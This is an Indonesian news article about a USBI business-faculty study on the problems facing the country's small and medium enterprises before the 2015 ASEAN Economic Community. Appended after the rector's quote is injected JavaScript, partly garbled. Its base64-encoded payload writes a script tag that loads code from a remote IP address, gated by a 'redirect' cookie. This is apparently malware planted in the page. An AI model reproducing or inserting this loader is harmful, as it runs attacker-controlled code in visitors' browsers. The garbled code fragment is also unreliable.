Upaya USBI Lahirkan Pelaku UMKM

Tim Pengajar Fakultas Bisnis Universitas Siswa Bangsa Internasional (USBI) yang berada di bawah naungan Putera Sampoerna Foundation meluncurkan hasil studi analisa permasalahan mendasar yang dihadapi para pelaku UMKM di Indonesia. Analisa tersebut terangkum dalam eventUMKM Outlook 2014 bertajuk "Membangun Kewirausahaan Berbasis Usaha Masyarakat", di Jakarta, pada Jumat (21/2).

Dari total 56 juta pelaku Usaha Kecil dan Menengah, tidak sampai setengahnya yang siap untuk bersaing, termasuk dalam menghadapi Masyarakat Ekonomi ASEAN pada tahun 2015 mendatang.

Studi ini melengkapi penelitian Keenan Institute Asia (2012) yang menyebutkan permasalahan mendasar yang dihadapi para pelaku UMKM di negara-negara ASEAN yaitu citra UMKM, terbatasnya dukungan pemerintah, sulitnya memulai usaha, permasalahan perpajakan.

Selain itu, lemahnya koordinasi dan kebijakan antara institusi yang memayungi UMKM, terbatasnya kemampuan manajemen pelaku UMKM, kualitas produk yang kurang, lemahnya kualitas sumber daya manusia, keterbatasan kemampuan pemasaran dan informasi pasar, dan kesulitan para pelaku UMKM dalam mengakses kredit, juga merupakan masalah mendasar yang paling sering dihadapi pelaku UMKM di Tanah Air.

Oleh karena itu, lewat hasil analisa yang diluncurkan dalam UMKM Outlook 2014 USBI, yang juga sebagai bagian dari Tri Dharma Perguruan Tinggi, Fakultas Bisnis USBI berkomitmen untuk meningkatkan kemampuan manajerial UMKM sebagai bagian dari pengabdian masyarakat.

“Kami telah menugaskan para dosen untuk ikut aktif membantu menjadi relawan dalam melatih para pelaku UMKM agar mereka lebih siap secara manajerial untuk mengelola bisnis yang berkesinambungan. Interaksi dengan para pelaku UMKM menjadi contoh teladan bagi para mahasiswa yang nantinya akan terjun di dunia bisnis sebagai pelaku usaha Indonesia di masa depan,” jelas Prof. Dr. Aman Wirakartakusumah, Rektor Universitas Siswa Bangsa Internasional (USBI).

Lebih lanjut Aman menambahkan, "Upaya untuk terus meningkatkan daya saing pelaku UMKM merupakan hal yang penting dilakukan mengingat akan diberlakukannya 'Masyarakat Ekonomi ASEAN' di 2015 nanti. Sampai saat ini tak sampai separuh dari 56 juta Usaha Kecil dan Menengah yang siap untuk bersaing, masih diperlukan kerja bersama untuk terus mendukung UMKM yang telah terbukti ikut menggerakan pertumbuhan perekonomian bangsa". function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Sign In

Get the most out of SWA by signing in to your account

(close)

Register

Have an account? Sign In
(close)